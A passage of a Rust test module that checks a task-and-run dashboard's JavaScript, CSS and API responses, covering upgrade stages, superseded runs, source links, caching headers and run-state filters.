16001 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
16002 assert!(APP_JS.contains("confirmed(button, question)"));
16003 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
16006 assert!(APP_JS.contains("const label = btn.textContent;"));
16007 assert!(!APP_JS.contains("Neither direction is guarded"));
16008 }
16009
16010 #[test]
16011 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
16012 assert!(
16013 APP_JS.contains("state.health.version"),
16014 "the operator wants to know what is running even with nothing newer"
16015 );
16016 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
16017 }
16018
16019 #[test]
16020 fn the_upgrade_button_names_its_destination() {
16021 assert!(
16022 APP_JS.contains("`Update to ${update.to}`"),
16023 "pressing the button should not be a surprise about what it moves to"
16024 );
16025 }
16026
16027 #[test]
16028 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
16029 for stage in ["downloading", "replaced", "parking", "restarting"] {
16030 assert!(
16031 APP_JS.contains(&format!("\"{stage}\"")),
16032 "the phone must be able to tell {stage} apart from the others"
16033 );
16034 }
16035 assert!(APP_JS.contains(".waiting_on"));
16036 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
16041 assert!(APP_JS.contains("reconnects on its own"));
16042 }
16043
16044 #[test]
16045 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
16046 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
16055 ..APP_JS.find("function upgrade(").expect("upgrade")];
16056 assert!(
16057 !body.contains(
16058 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
16059 ),
16060 "a failed upgrade must not take the whole strip over the way it used to"
16061 );
16062 assert!(
16063 body.contains("upgradeFailNote"),
16064 "the failure has to reach the loop's own note instead"
16065 );
16066 assert_eq!(
16070 body.matches("upgradeFailNote].filter(Boolean).join")
16071 .count(),
16072 2,
16073 "both loop-why writers (quiet and control) must fold the note in"
16074 );
16075 }
16076
16077 #[test]
16078 fn an_overdue_upgrade_eventually_asks_for_a_human() {
16079 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
16082 assert!(APP_JS.contains("function upgradeOverdue("));
16083 }
16084
16085 #[test]
16086 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
16087 assert!(
16088 APP_JS.contains("Updated to ${upgradeInfo.to"),
16089 "the operator who asked for the restart wants to know it worked"
16090 );
16091 }
16092
16093 #[test]
16094 fn an_error_is_visible_from_where_the_button_is() {
16095 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
16100 ..APP_CSS.find(".alert-text").expect(".alert-text")];
16101 assert!(
16102 alert.contains("position: fixed"),
16103 "an error about the thing under your thumb has to be visible from \
16104 where your thumb is: {alert}"
16105 );
16106 assert!(
16107 alert.contains("z-index: 25"),
16108 "above the dock (20) and the run-actions FAB (15), so neither \
16109 buries it: {alert}"
16110 );
16111 assert!(
16112 alert.contains("var(--tap)"),
16113 "and clear of the dock and the home indicator: {alert}"
16114 );
16115 assert!(
16118 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
16119 "the FAB's column stays free: {alert}"
16120 );
16121 }
16122
16123 #[tokio::test]
16124 async fn an_older_attempt_says_what_replaced_it() {
16125 let fx = Fixture::start().await;
16126 let q = fx.queue();
16127 let runs = fx.runs();
16128 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16129 write_run(&runs, first, RunStatus::Stalled);
16130 write_run(&runs, second, RunStatus::Blocked);
16131
16132 let mut t = Task::new(
16133 "one task".to_owned(),
16134 "do it".to_owned(),
16135 PathBuf::from("/repo"),
16136 Source::Human,
16137 );
16138 t.runs = vec![first.to_owned(), second.to_owned()];
16139 q.put(&mut t).expect("put");
16140
16141 let rows = fx.get("/api/runs").await.json();
16145 let by = |short: &str| -> Value {
16146 rows.as_array()
16147 .unwrap()
16148 .iter()
16149 .find(|r| r["short"] == short)
16150 .cloned()
16151 .unwrap_or(Value::Null)
16152 };
16153 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
16154 assert!(
16155 by("bbbb")["superseded_by"].is_null(),
16156 "the latest attempt is not superseded by anything"
16157 );
16158 assert!(APP_JS.contains("run.superseded_by"));
16160 assert!(APP_JS.contains("Superseded by"));
16161 }
16162
16163 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
16164 let mut t = Task::new(
16165 "one task".to_owned(),
16166 "do it".to_owned(),
16167 PathBuf::from("/repo"),
16168 Source::Human,
16169 );
16170 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16171 t.status = status;
16172 t
16173 }
16174
16175 #[test]
16176 fn source_link_picks_the_page_that_filed_the_task() {
16177 let agent = |node: &str| Source::Agent {
16178 run: "20260904-014455-ab12".to_owned(),
16179 node: node.to_owned(),
16180 };
16181 let chat = source_link(&agent("chat")).expect("chat link");
16182 assert_eq!(chat.kind, "chat");
16183 assert_eq!(chat.id, "20260904-014455-ab12");
16184 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
16185 let run = source_link(&agent("implement")).expect("run link");
16186 assert_eq!(
16187 (run.kind, run.href.as_str()),
16188 ("run", "#/runs/20260904-014455-ab12")
16189 );
16190 assert_eq!(source_link(&Source::Human), None);
16191 assert_eq!(
16192 source_link(&Source::Issue {
16193 number: 3,
16194 repo: "o/r".to_owned()
16195 }),
16196 None
16197 );
16198 let odd = source_link(&Source::Agent {
16199 run: "a b/c".to_owned(),
16200 node: "chat".to_owned(),
16201 })
16202 .expect("link");
16203 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
16204 }
16205
16206 #[test]
16207 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
16208 assert!(
16209 !APP_JS.contains("src.node === \"chat\""),
16210 "inline href rule is back"
16211 );
16212 assert!(
16213 APP_JS.matches("sourceLinkOf(").count() >= 4,
16214 "helper must serve every page"
16215 );
16216 assert!(
16217 APP_JS.matches("openChatLink(").count() >= 3,
16218 "the run page still needs its explicit chat link"
16219 );
16220 assert!(
16221 !APP_JS.contains("const openChat = el("),
16222 "the Queue card duplicates its source label link again"
16223 );
16224 assert!(
16225 APP_JS.contains("metaKids.push(link ? el(\"a\""),
16226 "the task page must link a chat source label too"
16227 );
16228 }
16229
16230 #[test]
16231 fn task_ref_carries_the_source_link_for_a_chat_task() {
16232 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16233 t.source = Source::Agent {
16234 run: "20260904-014455-ab12".to_owned(),
16235 node: "chat".to_owned(),
16236 };
16237 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
16238 let v = serde_json::to_value(&out).expect("json");
16239 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
16240 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
16241 assert_eq!(v["source_label"], t.source.label());
16242
16243 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16244 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
16245 .expect("json");
16246 assert!(v["source_link"].is_null(), "{v}");
16247 }
16248
16249 #[test]
16250 fn task_view_serializes_source_link() {
16251 let mut t = Task::new(
16252 "t".to_owned(),
16253 "t".to_owned(),
16254 PathBuf::from("/repo"),
16255 Source::Agent {
16256 run: "20260901-000000-aaaa".to_owned(),
16257 node: "implement".to_owned(),
16258 },
16259 );
16260 t.runs.clear();
16261 let v = serde_json::to_value(TaskView::from(t)).expect("json");
16262 assert_eq!(v["source_link"]["kind"], "run", "{v}");
16263 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
16264 }
16265
16266 #[tokio::test]
16267 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
16268 let fx = Fixture::start().await;
16269 let runs = fx.runs();
16270 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16271 write_run(&runs, old, RunStatus::Blocked);
16272 write_run(&runs, new, RunStatus::Merged);
16273 let mut t = outcome_task(&[old, new], TaskStatus::Done);
16274 fx.queue().put(&mut t).expect("put");
16275
16276 let view = fx.get(&format!("/api/runs/{old}")).await.json();
16277 let task = &view["task"];
16278 assert_eq!(task["status"], "done");
16279 assert_eq!(task["is_latest"], false);
16280 assert_eq!(task["latest"]["short"], "bbbb");
16281 assert_eq!(task["finished_by"]["id"], new);
16282 assert_eq!(task["finished_by"]["outcome"], "merged");
16283 assert_eq!(task["closed_by_hand"], false);
16284 assert_eq!(view["status"], "blocked", "the run keeps its own status");
16285 assert!(APP_JS.contains("finished_by"));
16286 assert!(APP_JS.contains("superseded by run"));
16287 }
16288
16289 #[tokio::test]
16290 async fn the_latest_run_reports_a_held_task_without_a_successor() {
16291 let fx = Fixture::start().await;
16292 let runs = fx.runs();
16293 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16294 write_run(&runs, old, RunStatus::Stalled);
16295 write_run(&runs, new, RunStatus::Blocked);
16296 let mut t = outcome_task(&[old, new], TaskStatus::Held);
16297 fx.queue().put(&mut t).expect("put");
16298
16299 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
16300 assert_eq!(task["status"], "held");
16301 assert_eq!(task["is_latest"], true);
16302 assert!(task["latest"].is_null());
16303 assert!(task["finished_by"].is_null());
16304 assert_eq!(task["closed_by_hand"], false);
16305 }
16306
16307 #[tokio::test]
16308 async fn a_direct_run_has_no_task_outcome() {
16309 let fx = Fixture::start().await;
16310 let runs = fx.runs();
16311 let id = "20260901-000000-aaaa";
16312 write_run(&runs, id, RunStatus::Blocked);
16313 let view = fx.get(&format!("/api/runs/{id}")).await.json();
16314 assert!(view["task"].is_null());
16315 }
16316
16317 #[test]
16318 fn task_outcome_does_not_guess_a_finishing_run() {
16319 let a = "20260901-000000-aaaa";
16320 let b = "20260901-000000-bbbb";
16321 let c = "20260901-000000-cccc";
16322 let dir = tempfile::tempdir().expect("tempdir");
16323 write_run(dir.path(), a, RunStatus::Blocked);
16324 write_run(dir.path(), b, RunStatus::VerifiedNoop);
16325 let read = |id: &str| read_run(dir.path(), id).ok();
16327 let t = outcome_task(&[a, b, c], TaskStatus::Done);
16330 let out = task_outcome(&t, a, 3, read);
16331 assert!(out.finished_by.is_none());
16332 assert!(out.closed_by_hand);
16333 let latest = out.latest.expect("latest");
16334 assert_eq!(latest.id, c);
16335 assert_eq!(latest.status, None);
16336 assert_eq!(latest.outcome, "record unreadable");
16337
16338 write_run(dir.path(), c, RunStatus::Ready);
16340 let t = outcome_task(&[a, c], TaskStatus::Done);
16341 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
16342 assert_eq!(out.finished_by.expect("finisher").id, c);
16343 assert!(!out.closed_by_hand);
16344
16345 let t = outcome_task(&[a, b, a], TaskStatus::Held);
16347 assert!(task_outcome(&t, a, 3, read).is_latest);
16348 }
16349
16350 #[tokio::test]
16351 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
16352 let fx = Fixture::start().await;
16357 let q = fx.queue();
16358 let runs = fx.runs();
16359 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
16360 write_run(&runs, first, RunStatus::Blocked);
16361 write_run(&runs, second, RunStatus::Merged);
16362
16363 let mut t = Task::new(
16364 "one task".to_owned(),
16365 "do it".to_owned(),
16366 PathBuf::from("/repo"),
16367 Source::Human,
16368 );
16369 t.runs = vec![first.to_owned(), second.to_owned()];
16370 q.put(&mut t).expect("put");
16371
16372 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
16373 assert_eq!(earlier["superseded_by"], "dddd");
16374 assert_eq!(earlier["latest_attempt"]["id"], second);
16375 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
16376 assert_eq!(
16377 earlier["latest_attempt"]["resolved"], true,
16378 "the run that replaced it landed, so this one reads as settled"
16379 );
16380
16381 let later = fx.get(&format!("/api/runs/{second}")).await.json();
16382 assert!(
16383 later["superseded_by"].is_null(),
16384 "the latest attempt is not superseded by anything"
16385 );
16386 assert!(
16387 later["latest_attempt"].is_null(),
16388 "the latest attempt has no later attempt of its own"
16389 );
16390
16391 assert!(APP_JS.contains("run.latest_attempt"));
16398 assert!(APP_JS.contains("data-superseded"));
16399 assert!(APP_JS.contains("#/runs/${latest.id}"));
16400 }
16401
16402 #[tokio::test]
16403 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
16404 let fx = Fixture::start().await;
16410 let q = fx.queue();
16411 let runs = fx.runs();
16412 let (a, b, c) = (
16413 "20260901-000000-aaaa",
16414 "20260901-000000-bbbb",
16415 "20260901-000000-cccc",
16416 );
16417 write_run(&runs, a, RunStatus::Blocked);
16418 write_run(&runs, b, RunStatus::Blocked);
16419 write_run(&runs, c, RunStatus::Merged);
16420
16421 let mut t = Task::new(
16422 "retried twice".to_owned(),
16423 "do it".to_owned(),
16424 PathBuf::from("/repo"),
16425 Source::Human,
16426 );
16427 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
16428 q.put(&mut t).expect("put");
16429
16430 let view = fx.get(&format!("/api/runs/{a}")).await.json();
16431 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
16432 assert_eq!(
16433 view["latest_attempt"]["id"], c,
16434 "the chain's current head, not the intermediate Blocked retry"
16435 );
16436 assert_eq!(view["latest_attempt"]["resolved"], true);
16437
16438 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
16439 assert_eq!(mid["latest_attempt"]["id"], c);
16440 assert_eq!(mid["latest_attempt"]["resolved"], true);
16441 }
16442
16443 #[tokio::test]
16444 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
16445 let fx = Fixture::start().await;
16446 let q = fx.queue();
16447 let runs = fx.runs();
16448
16449 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
16452 write_run(&runs, still_blocked_a, RunStatus::Blocked);
16453 write_run(&runs, still_blocked_b, RunStatus::Blocked);
16454 let mut t1 = Task::new(
16455 "still stuck".to_owned(),
16456 "do it".to_owned(),
16457 PathBuf::from("/repo"),
16458 Source::Human,
16459 );
16460 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
16461 q.put(&mut t1).expect("put");
16462 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
16463 assert_eq!(view1["latest_attempt"]["resolved"], false);
16464 assert_eq!(view1["latest_attempt"]["status"], "blocked");
16465 assert_eq!(view1["latest_attempt"]["done"], true);
16466
16467 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
16469 write_run(&runs, run_a, RunStatus::Blocked);
16470 write_run(&runs, run_b, RunStatus::Implementing);
16471 let mut t3 = Task::new(
16472 "retrying".to_owned(),
16473 "do it".to_owned(),
16474 PathBuf::from("/repo"),
16475 Source::Human,
16476 );
16477 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16478 q.put(&mut t3).expect("put");
16479 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16480 assert_eq!(view3["latest_attempt"]["id"], run_b);
16481 assert_eq!(view3["latest_attempt"]["resolved"], false);
16482 assert_eq!(view3["latest_attempt"]["done"], false);
16483
16484 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16489 write_run(&runs, noop_a, RunStatus::Blocked);
16490 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16491 let mut t2 = Task::new(
16492 "claims done".to_owned(),
16493 "do it".to_owned(),
16494 PathBuf::from("/repo"),
16495 Source::Human,
16496 );
16497 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16498 q.put(&mut t2).expect("put");
16499 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16500 assert_eq!(
16501 view2["latest_attempt"]["resolved"], false,
16502 "an unverified no-op claim must not read as a confirmed finish"
16503 );
16504
16505 assert!(APP_JS.contains("latest.resolved"));
16508 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16511 assert!(APP_JS.contains("Latest attempt: "));
16512 assert!(APP_JS.contains("in flight"));
16513 assert!(APP_JS.contains("not resolved"));
16514 }
16515
16516 #[tokio::test]
16517 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16518 let fx = Fixture::start().await;
16519 let js = fx.get("/app.js").await;
16525 assert_eq!(js.status, 200);
16526 let tag = js
16527 .header("etag")
16528 .expect("an etag to revalidate against")
16529 .to_owned();
16530 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16531 assert_eq!(
16532 js.header("cache-control"),
16533 Some("no-cache, must-revalidate"),
16534 "the phone has to ask every time"
16535 );
16536
16537 let again = fx
16540 .get_with("/app.js", &[("if-none-match", tag.as_str())])
16541 .await;
16542 assert_eq!(
16543 again.status, 304,
16544 "a deck it already has costs one round trip"
16545 );
16546 assert!(again.body.is_empty(), "304 carries no body");
16547
16548 let weak = fx
16551 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16552 .await;
16553 assert_eq!(weak.status, 304);
16554 let stale = fx
16555 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16556 .await;
16557 assert_eq!(stale.status, 200, "an older build must be replaced");
16558 assert!(stale.body.contains("renderRunActions"));
16559 }
16560
16561 #[test]
16562 fn the_task_detail_has_an_actions_fab_and_sheet() {
16563 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16564 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16565 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16566 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16568 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16569 assert!(APP_JS.contains("renderTaskActions(task);"));
16571 assert!(APP_JS.contains("renderTaskActions(null);"));
16572 let sheet = APP_JS
16574 .find("function renderTaskActions")
16575 .expect("sheet renderer");
16576 let body = &APP_JS[sheet..sheet + 3000];
16577 assert!(body.contains("changePriority("));
16578 assert!(body.contains("openTaskEdit(task)"));
16579 assert!(body.contains("renderTaskHoldBox(host"));
16580 assert!(body.contains("renderTaskDoneBox(host"));
16581 assert!(body.contains("renderTaskDeleteBox(host"));
16582 assert!(APP_JS.contains("API.priority(id)"));
16583 assert!(APP_JS.contains("API.deleteTask(id)"));
16584 assert!(APP_JS.contains("location.hash = \"#/queue\""));
16586 assert!(APP_JS.contains("$(\"task-actions-error\")"));
16588 }
16589
16590 #[test]
16591 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16592 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16593 let actions = INDEX_HTML
16594 .find("id=\"run-actions-box\"")
16595 .expect("actions box");
16596 assert!(task < actions, "the task entry comes first in the sheet");
16597 assert!(APP_JS.contains("renderRunTaskEntry"));
16598 assert!(APP_JS.contains("\"Open task \""));
16599 assert!(APP_JS.contains("started directly, no task"));
16601 assert!(APP_JS.contains("sheet-task-link"));
16602 assert!(APP_JS.contains("task-chip-link"));
16603 }
16604
16605 #[test]
16606 fn the_deck_never_sends_the_operator_to_a_terminal() {
16607 assert!(
16610 !APP_JS.contains("Run `magi fold` first"),
16611 "the deck must offer the fold, not prescribe a shell command"
16612 );
16613 assert!(APP_JS.contains("foldRun:"));
16614 assert!(APP_JS.contains("resumeRun:"));
16615 assert!(APP_JS.contains("renderRunActions"));
16616
16617 assert!(APP_JS.contains("armedFold"));
16619 assert!(APP_JS.contains("Yes, fold worktrees"));
16620
16621 assert!(APP_JS.contains("can no longer be resumed"));
16624 }
16625
16626 #[test]
16627 fn a_finished_run_explains_itself_with_its_own_last_line() {
16628 assert!(
16634 !APP_JS.contains("collapsed on agent quota"),
16635 "a stall must not be explained by a cause the deck did not check"
16636 );
16637 assert!(
16638 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16639 "and a block must not offer a guess with an `or` in it"
16640 );
16641
16642 assert!(
16646 APP_JS.contains("setText(r.event, run.event || \"\")"),
16647 "the run's last line is rendered unconditionally"
16648 );
16649 assert!(
16650 !APP_JS.contains("moving && run.event"),
16651 "and never gated on the run still moving"
16652 );
16653
16654 assert!(APP_JS.contains("lost to quota"));
16656 }
16657
16658 #[test]
16680 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16681 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16682 let shapes_body_start =
16683 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16684 let shapes_close = APP_JS[shapes_body_start..]
16685 .find("].map(")
16686 .expect("the shape list is closed by its done-computing .map(...)")
16687 + shapes_body_start;
16688 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16689
16690 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16691 for entry in shapes_src.split('{').skip(1) {
16692 let waiting = entry.contains("waiting: true");
16693 let dead = entry.contains("live: \"dead\"");
16694 let status_at =
16695 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16696 let status_end = entry[status_at..]
16697 .find('"')
16698 .expect("the status string is closed")
16699 + status_at;
16700 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16701 }
16702 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16703
16704 let done_rule_marker = "done: !";
16708 let done_rule_at = APP_JS[shapes_close..]
16709 .find(done_rule_marker)
16710 .expect("the done rule follows the shape list")
16711 + shapes_close
16712 + done_rule_marker.len();
16713 let includes_at = APP_JS[done_rule_at..]
16714 .find(".includes(shape.status)")
16715 .expect("the done rule ends in .includes(shape.status)")
16716 + done_rule_at;
16717 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16718 .trim()
16719 .trim_start_matches('[')
16720 .trim_end_matches(']')
16721 .split(',')
16722 .map(|s| s.trim().trim_matches('"'))
16723 .filter(|s| !s.is_empty())
16724 .collect();
16725
16726 let shapes: Vec<(bool, String, bool, bool)> = shapes
16727 .into_iter()
16728 .map(|(waiting, status, dead)| {
16729 let done = !not_done.contains(&status.as_str());
16730 (waiting, status, dead, done)
16731 })
16732 .collect();
16733
16734 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16738 if waiting {
16739 return "waiting";
16740 }
16741 if dead
16742 && !matches!(
16743 status,
16744 "merged"
16745 | "ready"
16746 | "stalled"
16747 | "blocked"
16748 | "failed"
16749 | "verified_noop"
16750 | "superseded"
16751 | "already_in_base"
16752 )
16753 {
16754 return "stale";
16755 }
16756 match status {
16757 "merged" | "ready" => "landed",
16758 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16759 | "already_in_base" => "ended",
16760 _ => "flight",
16761 }
16762 }
16763
16764 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16767 match filter_key {
16768 "active" => !done,
16769 "flight" => !done && !waiting && !dead,
16770 "stale" => !done && !waiting && dead,
16771 "waiting" => waiting,
16772 "done" => done,
16773 "all" => true,
16774 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16775 }
16776 }
16777
16778 let compatible = |section: &str, filter_key: &str| {
16779 shapes.iter().any(|(waiting, status, dead, done)| {
16780 run_section(*waiting, status, *dead) == section
16781 && filter_matches(filter_key, *waiting, *dead, *done)
16782 })
16783 };
16784
16785 let expected = [
16790 ("waiting", [true, false, false, true, true, true]),
16791 ("stale", [true, false, true, false, false, true]),
16792 ("flight", [true, true, false, false, false, true]),
16793 ("landed", [false, false, false, false, true, true]),
16794 ("ended", [false, false, false, false, true, true]),
16795 ];
16796 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16797
16798 for (section, wants) in expected {
16799 for (filter_key, want) in filter_keys.iter().zip(wants) {
16800 assert_eq!(
16801 compatible(section, filter_key),
16802 want,
16803 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16804 );
16805 }
16806 }
16807
16808 assert!(
16811 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16812 );
16813 assert!(APP_JS.contains(
16814 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16815 ));
16816 assert!(APP_JS.contains(
16817 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16818 ));
16819 }
16820
16821 #[tokio::test]
16822 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16823 let dir = tempfile::tempdir().expect("tempdir");
16827 let explicit = dir.path().join("not-a-checkout");
16828 std::fs::create_dir_all(&explicit).expect("create dir");
16829 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16830
16831 let missing = dir.path().join("does-not-exist-at-all");
16832 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16833 }
16834
16835 #[test]
16836 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16837 assert!(APP_JS.contains("function statsDonutArcs"));
16838 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16839 assert!(APP_JS.contains("function statusInBucket"));
16841 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16842 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16843 let buckets = [
16844 "merged",
16845 "ready",
16846 "in_progress",
16847 "blocked",
16848 "failed",
16849 "verified_noop",
16850 "superseded",
16851 "stalled",
16852 ];
16853 for key in buckets {
16854 let var = format!("--verdict-{key}:");
16855 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16857 assert!(
16858 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16859 "{key}"
16860 );
16861 }
16862 }
16863}